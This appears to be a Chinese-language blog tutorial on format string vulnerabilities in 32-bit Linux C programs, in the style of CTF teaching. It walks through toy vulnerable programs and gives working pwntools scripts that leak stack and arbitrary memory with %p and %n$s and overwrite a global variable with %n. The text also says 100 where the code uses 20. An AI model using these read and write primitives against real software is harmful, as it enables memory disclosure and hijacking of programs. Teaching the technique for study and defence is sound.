漏洞产生的原因
在编写程序时由于编写的不规范有可能产生这个漏洞。
下面一个例子
#include<stdio.h>
int a=2;
int main()
{
char b[100];
scanf("%s",b);
printf(b);
return 0;
}
编译时使用 gcc test.c -m32表示编译成32位的程序
上面这个例子便是一个很简单的格式化字符串漏洞,产生格式化字符串漏洞需要两个条件
- 输出的参数可控,这个例子可以通过scanf函数控制
- 直接输出printf(b)
下面讲解printf输出的原理
eg:
name[]=‘sun’;
age=21;
printf(“this is %s,age is %d”,name,age);
- 首先printf函数会扫描他的第一个参数,this is会直接输出
- 当遇到%后会继续向后扫描到s,然后会将name的值"sun"输出
- 后面会有相同的操作因此这个例子会输出"this is sun,age is 21"
- 还有需要注意的是name和age是printf函数的两个参数在linux 32位的程序中会将这两个参数放入栈中,将name这个字符串的地址放入栈,将21放入栈。(对字符串的传参都是将字符串的地址入栈)
根据printf的原理当将程序编写为printf(b);便可以通过构造b来进行一些攻击操作
下面那这个例子做实验:
1.
sun@ubuntu:~/Desktop/test$ ./a.out
%s
Segmentation fault (core dumped)
sun@ubuntu:~/Desktop/test$
当我们输入%s时直接报错了,这个报错表示访问了不能访问的内存,下面了解一下发生了什么。
使用gdb进行调试
0x080484ee <+51>: lea eax,[ebp-0x70]
0x080484f1 <+54>: push eax
0x080484f2 <+55>: call 0x8048370 <printf@plt>
这是其中一段汇编
可以看到这个printf只入栈了一个参数,printf会扫描第一个参数,当我们输入第一个参数时%s时,printf函数发现是%开头的因此会寻找第二个参数将这个%s替换掉,我们知道只入栈了一个参数,但是程序并不知道到,会继续寻找 0x080484f1 <+54>: push eax这个入栈上面的一个数据,会将他上面的一个当成printf函数的第二个参数,由于是%s因此,printf会将这个访问的内容当成一个字符串的地址,如果这个地址不合法便会报错了。
如果将这个程序编译为64位的程序,printf会将rdi当成第一个参数,将rsi当成第二个参数,如果此时rsi的内容不是一个合法的地址,也会出现这种错误。
这也算一种攻击方式,虽然不能getshell,但是能够使程序终止执行。
2.
sun@ubuntu:~/Desktop/test$ ./a.out
%p.%p.%p.%p
0xff9b0488.0xc2.0xf7df88fb.0xff9b04aesun@ubuntu:~/Desktop/test$
这个表示可以泄露栈中的内容,通过%p或者%x将栈中的内容以十六进制的格式写出来。
需要注意的是泄露出的栈的内容和使用gdb显示的gdb的栈的内容不全一样,这是因为在gdb中栈的地址和直接运行的程序的栈的地址不同,使用%s传递的参数是地址,因此会有不同。
可以使用%n$x这种格式直接输出栈的任意地址的内容,n表示第n+1个参数,x表示以十六进制输出。
eg:
sun@ubuntu:~/Desktop/test$ ./a.out
%2$x
c2sun@ubuntu:~/Desktop/test$ ./a.out
%2$p
0xc2sun@ubuntu:~/Desktop/test$
可以看到输出的第三个参数和上面那个一样都是0xc2
- 获取栈中的内容
- 获取栈上内容字符串的内容使用%s
- 获取栈上的变量的内容
- 使用%n$x格式获取第n+1个参数的内容
泄露任意地址的内容
上面只是说了可以泄露栈中的内容,我们也可以泄露任意地址的内容,包括got表和plt表,根据这两个表来泄露出函数的真实地址。
下面是一个例子进行说明:
#include<stdio.h>
#include<unistd.h>
char a[]="hello sun";
int main()
{
char buf[100];
read(0,buf,100);
printf(buf);
return 0;
}
首先判断buf的偏移位置
sun@ubuntu:~/Desktop/test$ ./a.out
aaaa%p.%p.%p.%p.%p.%p
aaaa0xffd0eae8.0x64.0xf7e158fb.0xffd0eb0e.0xffd0ec0c.0x61616161
可以得到aaaa的对应的是0x61616161因此偏移是6个
利用:
from pwn import *
p=process("./a.out")
payload=p32(0x0804A024)+"%6$s"
p.sendline(payload)
print p.recv()
#print p.recvline()
sun@ubuntu:~/Desktop/test$ python 1.py
[+] Starting local process './a.out': pid 3079
[*] Process './a.out' stopped with exit code 0 (pid 3079)
$\xa0\x0hello sun
可以的到字符串的内容hello sun
任意写操作
可以使用%n参数来进行任意地址的写操作,会将输出的字符个数写入对应的地址内
下面是一个例子
#include<stdio.h>
#include<unistd.h>
int a=1;
int main()
{
char buf[100];
read(0,buf,100);
printf(buf);
if(a==1)
printf("error\n");
else if(a==20)
printf("successful\n");
return 0;
}
可以看到当a=100时才会seccessful
from pwn import *
p=process("./a.out")
payload=p32(0x0804A028)+"%16d%6$n"
p.sendline(payload)
print p.recv()
#print p.recvline()
sun@ubuntu:~/Desktop/test$ python 1.py
[+] Starting local process './a.out': pid 3157
[*] Process './a.out' stopped with exit code 0 (pid 3157)
(\xa0\x0 -5812248
\x19��P\xa7\xff\x88\x82\x0successful
参考链接:
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit-zh/